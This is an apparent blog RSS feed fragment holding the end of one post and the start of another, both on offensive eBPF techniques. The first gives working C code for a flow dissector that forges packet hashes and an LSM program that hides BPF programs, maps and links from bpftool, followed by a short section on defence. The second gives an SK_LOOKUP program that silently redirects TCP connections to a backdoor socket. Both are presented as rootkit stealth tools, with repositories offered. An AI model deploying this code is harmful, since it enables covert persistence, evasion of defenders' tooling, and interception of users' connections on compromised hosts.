<p>one more subtlety, worth being precise about: the hash is computed <strong>lazily and cached</strong>. if some consumer already computed <code>skb->hash</code> before your dissector runs on that skb, it keeps the old value. your dissector matters for the flows that get hashed <em>after</em> it's attached, and the demo below shows exactly that path.</p>

<p>there's also a degenerate mode, and the name i use for it in the code (<code>MODE_DROP</code>) is a lie about the outcome: return <code>BPF_DROP</code> and the dissector walks away with a nearly-blank <code>bpf_flow_keys</code>, but the hash does <strong>not</strong> go to zero. <code>__skb_get_hash_net()</code> ignores <code>__skb_flow_dissect()</code>'s return and still hashes those mostly-empty keys, and <code>__flow_hash_from_keys()</code> even drags a zero off the number: <code>if (!hash) hash = 1;</code> (flow_dissector.c:1813). so no consumer gets a clean 0; they get the <em>same bogus number</em> on every flow, which is its own fingerprint. that's the blunt instrument; the interesting ones forge a real tuple instead.</p>

<h2 id="the-poc">the PoC</h2>

<p><code>github.com/klydz/flowdiss</code>. two BPF programs in one object:</p>

<ul>
<li><code>dissect</code> (<code>SEC("flow_dissector")</code>), the attacker.</li>
<li><code>observe</code> (<code>SEC("tc")</code>, attached via tcx to loopback egress), the <em>victim</em>. it calls <code>bpf_get_hash_recalc()</code> and records every value it sees in a map. that's the value RPS, ECMP and any other BPF consumer read off the number; GRO only reads it if a hash exists by then, which on this loopback path it doesn't.</li>
</ul>

<p>three maps: <code>cfg</code> (runtime mode switch), <code>seen</code> (hash → count, the observer's output), <code>calls</code> (invocation counters). the dissector has four modes, switched at runtime by writing <code>cfg</code>:</p>

<ol>
<li><code>MODE_CONTINUE</code>, baseline, returns <code>BPF_FLOW_DISSECTOR_CONTINUE</code> so the kernel falls back to the built-in dissector.</li>
<li><code>MODE_PIN_HASH</code>, force a constant 4-tuple for every packet. every flow in the netns hashes identically.</li>
<li><code>MODE_SPOOF_DST</code>, parse the real IPv4/UDP flow, and for flows genuinely going to port 7777 report port 8888 as the destination. the resulting hash is bit-for-bit identical to a genuine flow to 8888 with the same source.</li>
<li><code>MODE_DROP</code>, return <code>BPF_DROP</code>, every flow collapses onto one bogus hash (degenerate, see the note above, it is not zero).</li>
</ol>

<p>the full dissector:</p>

<pre><code class="language-c">SEC("flow_dissector")
int dissect(struct __sk_buff *skb)
{
   struct bpf_flow_keys *fk = skb->flow_keys;
   __u32 zero = 0;
   struct cfg *c = bpf_map_lookup_elem(&cfg, &zero);

   bump(0);                                    /* call counter */

   if (!c || c->mode == MODE_CONTINUE)
       return BPF_FLOW_DISSECTOR_CONTINUE;    /* 129: use built-in */
   if (c->mode == MODE_DROP)
       return BPF_DROP;

   if (c->mode == MODE_PIN_HASH) {
       /* one constant tuple for every packet in the netns */
       fk->addr_proto = ETH_P_IP;             /* HOST order! */
       fk->n_proto    = bpf_htons(ETH_P_IP);
       fk->ip_proto   = IPPROTO_UDP;
       fk->ipv4_src   = bpf_htonl(c->pin_src);
       fk->ipv4_dst   = bpf_htonl(c->pin_dst);
       fk->sport      = bpf_htons(c->pin_sport);
       fk->dport      = bpf_htons(c->pin_dport);
       return BPF_OK;
   }

   /* MODE_SPOOF_DST: parse the real flow, rewrite only the dport */
   {
       struct iphdr ip;
       struct udphdr udp;
       struct sk_buff *kskb = (struct sk_buff *)skb;

       if (bpf_skb_load_bytes(kskb, fk->nhoff, &ip, sizeof(ip)) < 0)
           return BPF_OK;
       if (ip.ihl * 4 < sizeof(struct iphdr) ||
           ip.protocol != IPPROTO_UDP)
           return BPF_OK;
       if (bpf_skb_load_bytes(kskb, fk->nhoff + (__u32)(ip.ihl * 4),
                              &udp, sizeof(udp)) < 0)
           return BPF_OK;

       fk->addr_proto = ETH_P_IP;
       fk->n_proto    = bpf_htons(ETH_P_IP);
       fk->ip_proto   = ip.protocol;
       fk->ipv4_src   = ip.saddr;
       fk->ipv4_dst   = ip.daddr;
       fk->sport      = udp.source;
       fk->dport      = udp.dest;
       if (c->target_port &&
           udp.dest == bpf_htons(c->target_port))    /* flows to 7777 */
           fk->dport = bpf_htons(c->spoof_port);     /* reported as 8888 */
       return BPF_OK;
   }
}</code></pre>

<p>the victim program is even shorter:</p>

<pre><code class="language-c">SEC("tc")
int observe(struct __sk_buff *skb)
{
   __u32 hash = bpf_get_hash_recalc(skb);   /* == skb->hash */
   __u64 *cnt = bpf_map_lookup_elem(&seen, &hash);
   if (cnt)
       __sync_fetch_and_add(cnt, 1);
   else {
       __u64 init = 1;
       bpf_map_update_elem(&seen, &hash, &init, BPF_NOEXIST);
   }
   return 0;
}</code></pre>

<h2 id="the-traps-i-hit">the traps i hit</h2>

<p>three things nearly sank this. all three are the kind of thing that only shows up when you actually load the program.</p>

<p><strong>1. direct packet access is fine, once you prove the bounds.</strong> my first version did <code>skb->data + fk->nhoff</code> and the verifier rejected it, and for a moment i blamed the variable offset. wrong. the dissector context's data offset is variable (<code>nhoff</code>), sure, but a pointer derived from it is perfectly range-bounded as long as you check it against <code>data_end</code> first. that's exactly what the kernel's own flow-dissector selftest does in <code>bpf_flow_dissect_get_header()</code> (tools/testing/selftests/bpf/progs/bpf_flow.c:92): prove <code>thoff</code> can't overflow (<code>thoff &gt; USHRT_MAX - hdr_size</code>), then <code>hdr + hdr_size &lt;= data_end</code>, then dereference straight off <code>skb->data</code>. my original cut just skipped the bounds check, so the verifier rightly refused it. i shipped <code>bpf_skb_load_bytes()</code> on a <code>struct sk_buff *</code> cast from the <code>__sk_buff *</code> instead, it's the portable, verifier-proof way and the dissector context embeds enough of the real skb for the cast to work. both roads get you there; direct access is supported, the verifier just wants proof.</p>

<p><strong>2. <code>bpf_skb_get_hash</code> doesn't exist as a helper in this kernel.</strong> on the 7.x kernel i tested (<code>6.18/7.x-cachyos</code>), vmlinux.h dumps <code>bpf_skb_get_hash</code> as <code>extern u32 bpf_skb_get_hash(struct sk_buff *skb) __weak __ksym</code>, a kfunc, not a helper, and the verifier rejects calling it from a tc program ("calling kernel function ... is not allowed"). the surviving helper is <code>bpf_get_hash_recalc</code> (id 34), which is what the victim program uses. upstream is moving these to kfuncs; the article-level lesson is "check your helper list, don't trust the name."</p>

<p><strong>3. <code>addr_proto</code> is a plain <code>__u16</code>, compared host-order.</strong> the kernel copies the addresses into the target keys only when <code>flow_keys->addr_proto == ETH_P_IP</code> compares true (net/core/flow_dissector.c, <code>__skb_flow_bpf_to_target</code>). if you write <code>bpf_htons(ETH_P_IP)</code> on little-endian you get 0x0008, the addresses never get copied, <code>addr_type</code> stays unset, and your siphash input silently covers a zeroed region. write it host-order: <code>fk->addr_proto = ETH_P_IP</code>.</p>

<h2 id="the-demo">the demo</h2>

<p>deterministic floods: 512 client sockets with fixed source ports 30000..30511, one UDP datagram each, to 127.0.0.1. deterministic source ports are the whole trick of the spoof proof, the genuine flows to 8888 and the spoofed flows to 7777 use <em>identical</em> tuples except the destination port, so if the forged hashes equal the genuine ones it's exact equality, not "close".</p>

<p>two details in the userspace loader exist purely so the test is clean: it binds a UDP receiver on both ports so the floods don't generate ICMP port-unreachable (which would pollute the egress hash records), and it clears the <code>seen</code> map between modes.</p>

<p>the observer runs on lo egress and records the hash of every packet. the victim program calls <code>bpf_get_hash_recalc()</code>, which is the exact value RPS, ECMP and any other BPF consumer read off the number, and it's the honest scope of this demo: a TC program on loopback calling <code>skb_get_hash()</code> on a skb that hasn't been hashed yet. that proves the dissector feeds the hash, and RPS/ECMP share exactly that path; it doesn't prove GRO (a raw reader) or any pre-hashed path, those need the caveats above.</p>

<pre><code>=== FLOWDISS ===
bpf flow dissector subverting skb->hash consumers

[bpf] object loaded
[bpf] flow dissector attached to netns
[bpf] hash observer attached to lo egress
[bpf] run:  bpftool net show  (flow_dissector line)

 MODE_CONTINUE (baseline)     distinct hashes = 512
 MODE_PIN_HASH (attack)       distinct hashes = 1   [0x4430a3be]

 spoof proof (target 7777 reported as 8888):
   genuine flows to 8888     distinct hashes = 512
   spoofed flows to 7777     distinct hashes = 512
 => EXACT MATCH: spoofed hashes == genuine 8888 hashes

 flow dissector + observer invocations during demo: 4096</code></pre>

<ul>
<li>baseline: 512 distinct flows, 512 distinct hashes.</li>
<li>PIN_HASH: every flow reports the same 4-tuple, so the whole netns sees exactly one hash <code>0x4430a3be</code>. RPS would steer every packet to one CPU, ECMP (policy 1/2) would send every flow to one next-hop, and every BPF consumer would read the same number. (that value isn't chosen by me, it's whatever the kernel's siphash outputs for the pinned tuple, i control the input, not the number.)</li>
<li>spoof proof: the hashes for 512 flows to 8888 and 512 flows to 7777 (reported as 8888) are equal, sorted, value for value. EXACT MATCH. not "close," not "same distribution", the same hash outputs, because the input to <code>__flow_hash_from_keys()</code> is byte-identical.</li>
</ul>

<h2 id="honest-limits-since-i-hate-overclaiming">honest limits, since i hate overclaiming</h2>

<ul>
<li><strong>this is not a vulnerability in the classic sense.</strong> no memory corruption, no privilege boundary crossed. you need CAP_BPF + CAP_NET_ADMIN to attach, which is root. it's an abuse of a designed, privileged hook, a post-exploitation stealth primitive, the same class as BPFDoor or TripleCross. if the machine is already rooted this makes the rootkit quieter, not more powerful.</li>
<li><strong>ECMP policy 0 (default) is not affected.</strong> it reads the IP header directly (<code>ip_multipath_l3_keys</code>), never touching the flow dissector. only multipath policies 1 and 2 route through the dissector. i checked the source before claiming it.</li>
<li><strong>UDP SO_REUSEPORT is not affected.</strong> socket selection uses <code>udp_ehashfn()</code> on the raw tuple, not <code>skb->hash</code>. i checked this one too, because it was my first theory and it's wrong.</li>
<li><strong>GRO is not a trigger either.</strong> it reads <code>skb->hash</code> via <code>skb_get_hash_raw()</code>, so it never invokes the dissector; it only consumes a hash that something else already forged. and <strong>the output isn't yours to pick</strong>: you control the dissector's keys, the kernel owns the siphash key, so you forge <em>collisions and copies</em>, not arbitrary numbers.</li>
<li><strong>the hash is cached.</strong> skb->hash is computed lazily; flows already hashed before you attach keep their old value. your dissector controls what gets hashed <em>from then on</em>.</li>
<li><strong>there's no packet-level trace.</strong> this is the feature, and the point: tcpdump, iptables, nft and XDP all see the original bytes. the only observable is the hash.</li>
</ul>

<h2 id="detection-and-a-real-blind-spot">detection (and a real blind spot)</h2>

<p>the hook is visible via two commands, but they see different things:</p>

<pre><code class="language-bash"># while attached
$ bpftool net show
flow_dissector:
id 128

$ bpftool prog list
128: flow_dissector  name dissect  tag 6340d6ae4f5ac703  gpl</code></pre>

<p><code>bpftool prog list</code> enumerates every loaded program globally (<code>BPF_PROG_GET_NEXT_ID</code>), in the naive case you cannot hide a loaded program from it. <code>bpftool net show</code>, though, is <strong>netns-scoped</strong>: it opens <code>/proc/self/ns/net</code> and queries only that namespace's <code>run_array[NETNS_BPF_FLOW_DISSECTOR]</code> (net/core/net_namespace.c, <code>netns_bpf_prog_query</code>). the kernel rejects query_flags for netns, so there's no "effective, inherited" walk up to init_net.</p>

<p>that creates an asymmetry i verified on a live kernel:</p>

<pre><code class="language-bash"># in init_net (host)
$ bpftool net show
flow_dissector:
id 151

# in a child netns (unshare -n)
$ bpftool net show
flow_dissector:
  &lt;empty&gt;</code></pre>

<p>while the runtime lookup (net/core/flow_dissector.c, <code>bpf_flow_dissect</code>) reads <code>init_net</code> <strong>first</strong> and only falls back to the packet's own netns, so a dissector attached to init_net is machine-wide and affects every netns. the detection surface and the runtime surface are not the same:</p>

<ul>
<li><strong>attach to init_net</strong> → machine-wide effect, but a defender running <code>bpftool net show</code> inside any container sees nothing. in containerized environments, where operators check inside namespaces, this hides the hook entirely from <code>net show</code>.</li>
<li><strong><code>bpftool prog list</code> still finds it</strong>, the loaded program is globally visible. (until the next section, which fixes even that.)</li>
<li>reaching init_net to attach requires host-level root anyway (<code>current->nsproxy->net_ns</code>), so this is a post-compromise stealth technique for a host-rooted rootkit, not a container escape.</li>
</ul>

<h2 id="hiding-it-completely-the-ghost">hiding it completely (the ghost)</h2>

<p>the "naive case" above is doing a lot of work. every bpftool enumeration is a userspace loop over the <code>bpf()</code> syscall, and every <code>bpf()</code> syscall first passes through the <code>security_bpf</code> LSM hook before the command is even dispatched:</p>

<pre><code class="language-c">/* kernel/bpf/syscall.c, __sys_bpf() */
err = security_bpf(cmd, &attr, size);
if (err)
   return err;
/* ... now dispatch cmd ... */</code></pre>

<p>that hook is BPF-attachable (<code>security_bpf</code> is not in <code>bpf_lsm_disabled_hooks</code>, kernel/bpf/bpf_lsm.c), runs in process context with the full <code>union bpf_attr *</code> in memory, and can return any error it likes. so: attach your <em>own</em> LSM program there, and lie to every enumeration command.</p>

<p>the full matrix of what bpftool does and what we return instead:</p>

<table>
<thead>
<tr><th>tool</th><th>bpf() command(s)</th><th>ghost replies</th></tr>
</thead>
<tbody>
<tr><td><code>bpftool prog list</code></td><td><code>BPF_PROG_GET_NEXT_ID</code> (11) / <code>BPF_PROG_GET_FD_BY_ID</code> (13)</td><td><code>-ENOENT</code> for hidden prog ids</td></tr>
<tr><td><code>bpftool map list</code></td><td><code>BPF_MAP_GET_NEXT_ID</code> (12) / <code>BPF_MAP_GET_FD_BY_ID</code> (14)</td><td><code>-ENOENT</code> for hidden map ids</td></tr>
<tr><td><code>bpftool link list</code></td><td><code>BPF_LINK_GET_NEXT_ID</code> (31) / <code>BPF_LINK_GET_FD_BY_ID</code> (30)</td><td><code>-ENOENT</code> for hidden link ids</td></tr>
<tr><td><code>bpftool btf list</code></td><td><code>BPF_BTF_GET_NEXT_ID</code> (23) / <code>BPF_BTF_GET_FD_BY_ID</code> (19)</td><td><code>-ENOENT</code> for hidden btf ids</td></tr>
<tr><td><code>bpftool net show</code></td><td><code>BPF_PROG_QUERY</code> (16)</td><td><code>-EINVAL</code> → hook "unsupported", section blank</td></tr>
</tbody>
</table>

<p>two payload errors do all the work:</p>

<ul>
<li><strong><code>-ENOENT</code></strong> is exactly what bpftool already treats as "this object no longer exists". every <code>*_GET_FD_BY_ID</code> loop in tools/bpf/bpftool/{prog,map,link,btf}.c is <code>if (errno == ENOENT) continue;</code>, the id is silently skipped, no error printed, no warning. the kernel never notices: to it, the object genuinely exists, nothing is detached, and the attack keeps running.</li>
<li><strong><code>-EINVAL</code></strong> on <code>BPF_PROG_QUERY</code> is what bpftool net reads as "this kernel is too old to query that hook" and quietly prints an empty section. <code>query_flow_dissector()</code> in bpftool_net.c returns 0 on <code>-EINVAL</code> (<code>/* Older kernel's don't support querying flow dissector programs. */</code>), and the tcx dumper ignores query errors entirely. this is what closes the <em>init_net</em> <code>net show</code> hole, the query never happens, so even the namespace that owns the dissector shows nothing.</li>
</ul>

<p>the ids to hide are read straight out of <code>bpf_attr</code>: the <code>prog_id</code>/<code>map_id</code>/<code>link_id</code>/<code>btf_id</code> are all at offset 0 of the union, and <code>query.attach_type</code> at offset 4. the ghost's switch statement:</p>

<pre><code class="language-c">SEC("lsm/bpf")
int BPF_PROG(ghost_bpf, int cmd, union bpf_attr *attr,
           unsigned int size, bool kernel)
{
   __u32 id = 0;
   switch (cmd) {
   case BPF_PROG_GET_FD_BY_ID:                  /* 13 */
       bpf_core_read(&id, sizeof(id), &attr->prog_id);
       if (in_set(&hide_progs, id)) return -ENOENT;
       break;
   case BPF_MAP_GET_FD_BY_ID:                   /* 14 */
       bpf_core_read(&id, sizeof(id), &attr->map_id);
       if (in_set(&hide_maps, id))  return -ENOENT;
       break;
   case BPF_LINK_GET_FD_BY_ID:                  /* 30 */
       bpf_core_read(&id, sizeof(id), &attr->link_id);
       if (in_set(&hide_links, id)) return -ENOENT;
       break;
   case BPF_BTF_GET_FD_BY_ID:                   /* 19 */
       bpf_core_read(&id, sizeof(id), &attr->btf_id);
       if (in_set(&hide_btfs, id))  return -ENOENT;
       break;
   case BPF_PROG_QUERY:                         /* 16 */
       bpf_core_read(&id, sizeof(id), &attr->query.attach_type);
       if (blind(id)) return -EINVAL;  /* FLOW_DISSECTOR=17,
                                         TCX_INGRESS=46, TCX_EGRESS=47 */
       break;
   }
   return 0;                                    /* everything else: pass */
}</code></pre>

<p><code>in_set()</code> is a hash-map lookup (key = id, value = 1); <code>blind()</code> checks the <code>cfg</code> flags and returns true for the flow-dissector attach type (and optionally the two tcx types). a handful of maps: four <code>hide_*</code> hash maps, a <code>cfg</code> flags map, a <code>dbg</code> counter map that made debugging the thing possible.</p>

<p>the hiding program hides <strong>itself</strong> too. the loader:</p>

<ol>
<li>loads the LSM object and fills the hide maps with the victim's ids (dissector prog, observer prog, their three maps, their two links, the shared BTF object).</li>
<li>attaches the LSM to <code>security_bpf</code>.</li>
<li>reads its <em>own</em> ids via <code>bpf_obj_get_info_by_fd()</code> and writes them into the hide sets, its prog id, its LSM link id, all six of its maps, its BTF id.</li>
</ol>

<p>so after step 3 there is nothing left to find: no attacker program, no observer, no netns/tcx links, no maps, no BTF object, and no visible "ghost" LSM program sitting there doing the hiding. <code>bpftool prog list</code> shows only the programs that existed before you started.</p>

<p>the loader then just sits there, or, in the real scenario, the netns link that pins the dissector keeps the whole attack alive even if the loader exits. the ghost never detaches anything; it only makes the syscalls that would <em>discover</em> things fail.</p>

<p>repo: <code>github.com/klydz/ghost</code> (<code>make</code>, <code>./ghost_demo.sh</code>).</p>

<p>live result, running the attack inside a fully ghosted box:</p>

<pre><code class="language-bash">$ bpftool net show                $ bpftool prog list
xdp:                              (no dissect / observe / ghost_bpf)
tc:
flow_dissector:                   $ bpftool link list
netfilter:                        2: tracing  prog 26
                                  3: perf_event  prog 57
                                  4: perf_event  prog 59</code></pre>

<p>the attack meanwhile, from the demo run while hidden:</p>

<pre><code> MODE_CONTINUE (baseline)     distinct hashes = 512
 MODE_PIN_HASH (attack)       distinct hashes = 1   [0x4430a3be]
 => EXACT MATCH: spoofed hashes == genuine 8888 hashes
 flow dissector + observer invocations during demo: 4098</code></pre>

<p>nothing was detached, the ghost only makes the syscalls that would <em>discover</em> it fail. all five listings are clean, from init_net and from inside a child netns alike, while the dissector is provably still running.</p>

<h3>how i got here (the debugging that made this real)</h3>

<p>two attempts stand out.</p>

<p><strong>attempt one was a false positive.</strong> i hid the dissector prog id and <code>bpftool prog list</code> went quiet, except the flow dissector had already been detached by a stale demo, so "nothing visible" was trivially true. the fix was counters: a <code>dbg</code> map bumped on every LSM invocation, every matching command, every hit. the follow-up run showed <code>dbg[0]=201</code> LSM calls, <code>dbg[1]=33</code> GET_FD_BY_ID calls, <code>dbg[3]=4</code> matches, the hook was genuinely firing and genuinely hiding. the lesson: prove the victim is alive before you claim the hide works. <code>pgrep</code> the demo process, check the counters, then believe it.</p>

<p><strong>attempt two was the leak.</strong> hiding progs alone left <code>bpftool net show</code> showing the dissector from init_net, plus map/link/btf surfaces. the net show leak is the nasty one: it uses <code>BPF_PROG_QUERY</code>, not <code>GET_FD_BY_ID</code>, so the ENOENT trick doesn't touch it. the EINVAL blind was the unlock, make the query report "kernel too old", and bpftool prints an empty section instead of an error. that closed init_net. the full 5-surface matrix above came from enumerating every command bpftool issues and answering each one.</p>

<h3>limits of the ghost</h3>

<ul>
<li><strong><code>GET_NEXT_ID</code> still returns the ids.</strong> bpftool never displays a hidden object, but a defender who skips bpftool and enumerates with raw <code>bpf(BPF_PROG_GET_NEXT_ID)</code> then probes <code>GET_FD_BY_ID</code> finds "existing but unopenable" ids. live, while ghosted: prog ids present-but-unopenable <code>[1295, 1296, 1338]</code> (dissect, observe, the LSM itself), links <code>[169, 170, 175]</code>. it's a gap fingerprint, not full erasure. the demo prints this exact residual at the end.</li>
<li><strong>the query blinding is global.</strong> on a box with legitimate tcx or flow-dissector programs, <code>bpftool net show</code> goes blank for those too. fine for a clean dedicated box, conspicuous on a shared one, the loader has <code>--no-tcx</code>/<code>--no-flow</code> if you only need to hide your own ids.</li>
<li><strong>process-level residue.</strong> <code>/proc/&lt;pid&gt;/fd</code> of the loader shows <code>anon_inode:bpf-*</code> fds, and a root who scans <code>ps</code> sees the process. hiding that needs an LKM; out of scope here.</li>
<li><strong>kernel memory is king.</strong> prog_idr, link_idr and the netns <code>run_array</code> still hold everything. memory forensics or a non-bpf() kernel-level check sees it all. BPF-on-BPF hiding only defeats the BPF tooling.</li>
<li>as ever: this is not a vulnerability. installing the ghost, like installing the attack, requires root. it is post-exploitation stealth.</li>
</ul>

<h2 id="defending-against-this">defending against this</h2>

<ul>
<li><strong>don't trust bpftool on a rooted box.</strong> a root attacker's BPF program can make every listing come up empty. treat "clean" output as evidence of nothing.</li>
<li><strong>kernel memory is the source of truth.</strong> <code>prog_idr</code>, <code>link_idr</code>, the netns <code>run_array</code> and any BPF object audit that walks kernel memory (crash dumps, <code>/proc/kcore</code> readers, kernel modules with access to the idr) see everything the syscall shim hides.</li>
<li><strong>write a custom enumerator.</strong> 10 lines of raw <code>bpf()</code>: walk <code>GET_NEXT_ID</code>, probe <code>GET_FD_BY_ID</code>, flag ids that exist but can't be opened. that gap fingerprint is the ghost's tell.</li>
<li><strong>watch entropy, not tooling.</strong> a sudden collapse in RPS/ECMP hash entropy, every flow hashing to one bucket, is the actual signal. <code>bpftool net show</code> inside namespaces won't catch the init_net attach either, so entropy monitoring beats both bypasses.</li>
<li><strong>LSM introspection.</strong> the <code>bpf</code> LSM itself is the attack's substrate. if your threat model is a rooted host, enumerate <em>LSM</em> hook attachments from a place the attacker's own LSM program can't reach, a kernel-module-level check sees the <code>security_bpf</code> attachment regardless of what its <code>bpf()</code> syscall lies report.</li>
</ul>

<h2 id="why-this-matters">why this matters</h2>

<p>the interesting thing isn't that a root attacker can mess with RPS. it's that there's a whole class of kernel machinery that runs on a hash, a hash that is derived from data a BPF program can forge with zero packet mutations, and the <em>dissector</em>, the program that decides what everything else believes, is the program nobody audits.</p>

<p>and the hiding layer is the second half of the story: the audit surface and the runtime surface are different, and when you control the audit surface's own syscall you can make the tooling testify on your behalf. <code>bpftool prog list</code> isn't a security boundary; it's a convenience wrapper around a syscall that a root attacker can intercept.</p>

<p>if you're writing defense tooling that trusts <code>skb->hash</code> (load-balancing decisions, per-flow accounting, Cilium/kube-proxy steering), you should know what it's actually derived from. and if you're on the red side, this is one more root-only hook that lives outside the packet path, leaves no byte-level trace, and gives you a machine-wide lie for the price of 166 lines of C, plus a 100-line LSM that makes it invisible.</p>

<p>article repo: github.com/klydz/flowdiss (build with <code>make</code>, run with <code>sudo ./flowdiss</code>, modes switched via the cfg map).<br>
hiding repo: github.com/klydz/ghost (<code>make</code>, <code>./ghost_demo.sh</code>).</p>
]]></content:encoded>
          </item>
        <item>
      <title>How to APT EP.1: Bypassing XDP and TC: Stealthy Connection Interception via BPF SK_LOOKUP</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep1-bypassing-xdp-and-tc-stealthy-connection-interception-via-bpf-sklookup</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep1-bypassing-xdp-and-tc-stealthy-connection-interception-via-bpf-sklookup</guid>
      <pubDate>Thu, 30 Jul 2026 05:29:35 +0000</pubDate>
            <category>eBPF Security</category>
                  <category>ebpf</category>
            <category>sk-lookup</category>
            <category>bpf-sk-assign</category>
            <category>linux-kernel</category>
            <category>tcp-interception</category>
            <category>socket-programming</category>
            <category>red-teaming</category>
            <category>edr-evasion</category>
            <category>network-security</category>
            <category>c</category>
            <category>poc</category>
            <category>offensive-security</category>
            <category>backdoor-techniques</category>
            <category>netns</category>
            <category>libbpf</category>
            <description>While most offensive eBPF techniques rely on XDP or TC to intercept raw network packets, Linux 5.6+ introduced BPF_PROG_TYPE_SK_LOOKUP, a hook operating at the socket dispatch layer. By attaching a 28-line BPF program directly to a network namespace, an attacker can silently redirect incoming TCP SYN requests to a backdoor socket without modifying packets, recalculating checksums, altering iptables rules, or leaving wire-level artifacts. This post breaks down how the technique works, common implementation traps, why it evades conventional EDR checks, and how defenders can audit for it.</description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>when you have root on a Linux box and you want to intercept someone else's TCP connections, the options are all kind of annoying.</p>

<p>you can iptables REDIRECT or DNAT, but those touch every packet and leave a trail in the ruleset. you can ARP-spoof if you're on the same L2, but that's noisy and doesn't work for local traffic. you can LD_PRELOAD a shared library into the target process, but that needs the process to restart or you need ptrace, and ptrace is the noisiest thing you can do on a Linux box after running rm -rf /.</p>

<p>then there's the eBPF approach, which is more elegant but still annoying in its own ways. XDP sucks for this because it runs before routing and you need to manually fix up everything. TC is fine but you're still mangling packets and recalculating checksums. both require attaching to a specific interface and don't work on loopback without gymnastics.</p>

<p>there's a better way and nobody in the offensive space seems to have noticed. it's been in the kernel since 2020.</p>

<h2>what SK_LOOKUP actually is</h2>

<p>Linux 5.6 introduced BPF_PROG_TYPE_SK_LOOKUP. it was written by Jakub Sitnicki from Cloudflare, who needed it for their Spectrum product, a reverse proxy that needed to steer connections from a huge range of IPs to individual sockets without binding thousands of sockets. the kernel docs describe it as "introducing programmability into the socket lookup performed by the transport layer when a packet is to be delivered locally."</p>

<p>what does that mean in practice?</p>

<p>normally when a TCP SYN arrives, the kernel does a hash table lookup in the listening socket table. it hashes the destination port and walks a linked list until it finds a socket with a matching IP. if nothing matches, the connection gets RST'd.</p>

<p>SK_LOOKUP inserts itself between that SYN arriving and the socket table lookup. you attach a BPF program to the whole network namespace (not to a specific interface, which is the first hint that this is different from XDP/TC). every time the transport layer needs to find a listening socket for an incoming connection, your BPF program runs first.</p>

<p>your program can:</p>
<ul>
  <li>return SK_PASS and do nothing (normal lookup continues)</li>
  <li>return SK_DROP (connection gets killed)</li>
  <li>call bpf_sk_assign(some_socket) and return SK_PASS (your socket gets the connection instead)</li>
</ul>

<p>option three is the interesting one.</p>

<h2>the thing that makes it special</h2>

<p>all the existing eBPF backdoors use XDP or TC. TripleCross, ebpfkit, Boopkit, LinkPro, all of them. these run on packets as they cross a network interface. you get to see the packet, maybe mangle it, maybe forward it somewhere else. but you're always working with raw packets and always attached to a specific interface.</p>

<p>SK_LOOKUP is different. it runs at the socket layer. the packet has already been received, already been through routing, already been delivered to the local stack. the kernel is saying "who gets this?" and your BPF program says "that guy, actually."</p>

<p>the difference matters because:</p>

<ul>
  <li>you're working with sockets, not packets. you don't need to parse headers, recalculate checksums, or worry about TCP sequence numbers. you just say "this socket gets it."</li>
  <li>it works on loopback. XDP doesn't by default. TC does but it's awkward.</li>
  <li>it's per-network-namespace, not per-interface. one attach and it covers everything on that host.</li>
  <li>the packet never gets modified. tcpdump on the destination shows the original destination IP and port. there's nothing at the network level to catch.</li>
  <li>it's transparent to the connecting client too. they sent a SYN to port 80, they got a SYN-ACK back, they think they're talking to nginx. they have no idea their data is going to your backdoor socket instead.</li>
</ul>

<h2>building it</h2>

<p>the PoC is simple. embarrassingly simple, that's the whole point.</p>

<p>here's the kernel-side BPF program in full:</p>

<pre><code class="language-c">struct {
    __uint(type, BPF_MAP_TYPE_SOCKHASH);
    __uint(max_entries, 1);
    __type(key, u32);
    __type(value, u64);
} sock_map SEC(".maps");

SEC("sk_lookup")
int sk_redirect(struct bpf_sk_lookup *ctx) {
    if (ctx->local_port != TARGET_PORT)
        return SK_PASS;

    u32 key = 0;
    struct bpf_sock *sk = bpf_map_lookup_elem(&sock_map, &key);
    if (!sk)
        return SK_PASS;

    bpf_sk_assign(ctx, (void *)sk, 0);
    bpf_sk_release(sk);
    return SK_PASS;
}</code></pre>

<p>that's 28 lines. 28 lines of BPF that hijacks every TCP connection to port 9999 and hands them to whatever socket you put in the map.</p>

<p>it reads ctx-&gt;local_port which is the destination port (in host byte order, which caught me out, more on that later). if it doesn't match, it passes, the normal socket lookup continues. if it does match, it looks up a socket from the SOCKHASH map, calls bpf_sk_assign to hand the connection to that socket, and releases its reference.</p>

<p>the userspace side is not much more complicated:</p>

<pre><code class="language-c">static void *backdoor_thread(void *arg) {
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    /* bind to 127.0.0.1:31337, listen */
    /* store fd in arg for the main thread */
    /* accept() loops until connection arrives */
}

int main(void) {
    /* spin up backdoor listener thread */
    /* load BPF object via libbpf */
    /* store backdoor socket fd in sock_map */
    /* attach BPF program to netns */
    /* connect to 127.0.0.1:9999 as a test client */
    /* read the response, should be "BACKDOOR CONNECTION" */
}</code></pre>

<p>the thread creates a normal TCP listening socket on 127.0.0.1:31337. the BPF program is loaded, the socket fd is stored in the SOCKHASH map, and the program is attached to the network namespace. then when you connect to port 9999, the kernel's socket lookup runs the BPF program, which redirects your connection to the socket on port 31337. you get "BACKDOOR CONNECTION" back. the client thinks it connected to whatever was supposed to be on 9999.</p>

<p>and that's it. that's the whole thing.</p>

<h2>what broke and why</h2>

<p>i'm not going to pretend this worked on the first try.</p>

<p>the first version used bpf_sk_lookup_tcp, which is helper #84. that's not the same as bpf_sk_assign. bpf_sk_lookup_tcp does a kernel socket table lookup and returns a socket. the idea was: intercept connections to port 9999, then look up my backdoor socket from the kernel's socket table by connecting to it via bpf_sk_lookup_tcp, then assign that.</p>

<p>the verifier said no:</p>

<blockquote>program of this type cannot use helper bpf_sk_lookup_tcp#84</blockquote>

<p>that was the first surprise. bpf_sk_lookup_tcp exists but isn't allowed in SK_LOOKUP programs. this makes some sense if you think about it, allowing a program that runs during socket lookup to recursively do another socket lookup creates weird questions about reentrancy and locking. but the kernel docs show examples using it, so i expected it to work. either this kernel compiled SK_LOOKUP without that helper (config option not set), or the helper was removed at some point. i didn't dig into which.</p>

<p>the fix was to use a SOCKHASH map instead. the userspace program stores the backdoor socket fd in the map. the BPF program looks it up with bpf_map_lookup_elem. no kernel socket table lookup needed.</p>

<p>but that introduced the second issue. bpf_map_lookup_elem on a SOCKHASH returns a struct bpf_sock * with a reference held. the verifier is strict about this, you must release the reference before the program exits. if you don't:</p>

<blockquote>Unreleased reference id=2 alloc_insn=9<br>BPF_EXIT instruction in main prog would lead to reference leak</blockquote>

<p>so bpf_sk_release(sk) is required after bpf_sk_assign. the reference from the map lookup is yours. bpf_sk_assign takes its own. you need to release yours.</p>

